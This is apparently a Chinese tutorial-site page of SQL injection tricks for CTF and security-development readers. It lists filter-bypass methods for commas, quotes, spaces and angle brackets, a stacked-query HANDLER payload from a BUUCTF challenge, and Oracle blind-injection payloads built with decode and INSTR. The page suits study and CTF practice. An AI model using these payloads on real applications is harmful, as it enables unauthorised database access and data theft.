玖叶教程网

前端编程开发入门

SQL苦练两年半之奇淫技巧(sqll)

实战中手工注入情况并不多,大多数是简单的手工+工具。唉,人生苦短,即使用sqlmap!

也有一些兄弟要搞安全开发和ctf比赛的,这里就分享一些干货。

. 过滤与绕过

过滤 逗号(使用from或者offset): 当有些操作例如substr("abc",1,2),需要逗号

select substr(database(),1,1)

select substr(database() from 1 for 1)

select mid(database() from 1 for 1)


引号绕过(使用十六进制):

union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273


绕过空格(注释符/**/,%a0)

括号绕过空格

双写


过滤符号<>

用between and来进行绕过 between a and c :返回a和c之间的数据


使用括号绕过空格

?id=1'and(1=1)--+


过滤select,并且存在堆注

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

实例 BUUCTF---[GYCTF2020]Blacklist1

1';use supersqli;show columns from `FlagHere` #


SQL注入手法:

payload:ORG_ID=40119439||1/(decode(INSTR(user,'T',1),1,1,'x'))||1
payload:ORG_ID=40119439||1/(decode(INSTR(user,'E',2),2,1,'x'))||1
注释: decode 的功能相当于 if,
作用是判断第一个值是否等于第二(四、六。。)个值,是的话就返回第三个值(5,7),否则为最后一个值
INSTR(C1,C2,I,J) 在一个字符串中搜索指定的字符,返回发现指定的字符的位置;
C1    被搜索的字符串
C2    希望搜索的字符串

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言